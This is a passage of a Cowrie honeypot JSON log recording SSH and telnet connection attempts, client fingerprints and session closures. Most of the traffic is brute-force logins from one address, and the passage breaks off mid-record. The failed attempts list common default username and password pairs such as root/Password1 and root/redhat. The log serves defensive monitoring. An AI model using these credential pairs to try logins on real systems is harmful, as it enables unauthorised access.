{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:30.968692Z","src_ip":"176.65.132.254","session":"34c9b15d3bcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50568,"dst_ip":"10.17.0.5","dst_port":23,"session":"9994a2d4770b","protocol":"telnet","message":"New connection: 62.210.97.77:50568 (10.17.0.5:23) [session: 9994a2d4770b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:31.618561Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:32.056556Z","src_ip":"176.65.132.254","session":"34c9b15d3bcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00241446495056,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:33.275448Z","src_ip":"134.209.8.29","session":"673fda5d3340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.23.28.19","src_port":54772,"dst_ip":"159.203.135.109","dst_port":23,"session":"18ec1d42f18b","protocol":"telnet","message":"New connection: 186.23.28.19:54772 (159.203.135.109:23) [session: 18ec1d42f18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:33.818937Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54948,"dst_ip":"10.17.0.5","dst_port":22,"session":"5717a4ccc6d6","protocol":"ssh","message":"New connection: 176.65.132.254:54948 (10.17.0.5:22) [session: 5717a4ccc6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:34.937399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:34.966187Z","src_ip":"176.65.132.254","session":"5717a4ccc6d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:35.043265Z","src_ip":"176.65.132.254","session":"5717a4ccc6d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:35.357162Z","src_ip":"176.65.132.254","session":"5717a4ccc6d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":32814,"dst_ip":"159.203.135.109","dst_port":23,"session":"7000cda2616f","protocol":"telnet","message":"New connection: 134.209.8.29:32814 (159.203.135.109:23) [session: 7000cda2616f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:35.941472Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:36.449149Z","src_ip":"176.65.132.254","session":"5717a4ccc6d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54964,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bfbeeef6ccd","protocol":"ssh","message":"New connection: 176.65.132.254:54964 (10.17.0.5:22) [session: 5bfbeeef6ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:39.166417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:39.171442Z","src_ip":"176.65.132.254","session":"5bfbeeef6ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:39.253471Z","src_ip":"176.65.132.254","session":"5bfbeeef6ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:40.006502Z","src_ip":"176.65.132.254","session":"5bfbeeef6ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:41.092312Z","src_ip":"176.65.132.254","session":"5bfbeeef6ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58234,"dst_ip":"10.17.0.5","dst_port":22,"session":"a96c8235b9e6","protocol":"ssh","message":"New connection: 176.65.132.254:58234 (10.17.0.5:22) [session: a96c8235b9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:43.583707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:43.588315Z","src_ip":"176.65.132.254","session":"a96c8235b9e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:43.670286Z","src_ip":"176.65.132.254","session":"a96c8235b9e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:43.939102Z","src_ip":"176.65.132.254","session":"a96c8235b9e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:45.060276Z","src_ip":"176.65.132.254","session":"a96c8235b9e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.432384967803955,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:46.251089Z","src_ip":"186.23.28.19","session":"18ec1d42f18b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58242,"dst_ip":"10.17.0.5","dst_port":22,"session":"d42393399701","protocol":"ssh","message":"New connection: 176.65.132.254:58242 (10.17.0.5:22) [session: d42393399701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:48.009965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:48.015140Z","src_ip":"176.65.132.254","session":"d42393399701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:48.097410Z","src_ip":"176.65.132.254","session":"d42393399701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:48.346232Z","src_ip":"176.65.132.254","session":"d42393399701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:49.961814Z","src_ip":"176.65.132.254","session":"d42393399701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48742,"dst_ip":"10.17.0.5","dst_port":22,"session":"39ebecd49b46","protocol":"ssh","message":"New connection: 176.65.132.254:48742 (10.17.0.5:22) [session: 39ebecd49b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:52.073728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:52.099522Z","src_ip":"176.65.132.254","session":"39ebecd49b46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:52.359385Z","src_ip":"176.65.132.254","session":"39ebecd49b46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:52.652666Z","src_ip":"176.65.132.254","session":"39ebecd49b46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58532,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3ad44f7e798","protocol":"telnet","message":"New connection: 65.60.27.33:58532 (10.17.0.5:23) [session: d3ad44f7e798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:52.835992Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:53.745334Z","src_ip":"176.65.132.254","session":"39ebecd49b46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48752,"dst_ip":"10.17.0.5","dst_port":22,"session":"60dca251ef6d","protocol":"ssh","message":"New connection: 176.65.132.254:48752 (10.17.0.5:22) [session: 60dca251ef6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:56.468913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:56.473305Z","src_ip":"176.65.132.254","session":"60dca251ef6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:56.555227Z","src_ip":"176.65.132.254","session":"60dca251ef6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:56.803699Z","src_ip":"176.65.132.254","session":"60dca251ef6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:57.889101Z","src_ip":"176.65.132.254","session":"60dca251ef6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48754,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb269b570193","protocol":"ssh","message":"New connection: 176.65.132.254:48754 (10.17.0.5:22) [session: cb269b570193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:00.902055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:00.907343Z","src_ip":"176.65.132.254","session":"cb269b570193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:00.995803Z","src_ip":"176.65.132.254","session":"cb269b570193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:01.252119Z","src_ip":"176.65.132.254","session":"cb269b570193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:02.437507Z","src_ip":"176.65.132.254","session":"cb269b570193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34608,"dst_ip":"10.17.0.5","dst_port":22,"session":"12a497b43a76","protocol":"ssh","message":"New connection: 176.65.132.254:34608 (10.17.0.5:22) [session: 12a497b43a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:05.293156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:05.298641Z","src_ip":"176.65.132.254","session":"12a497b43a76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"m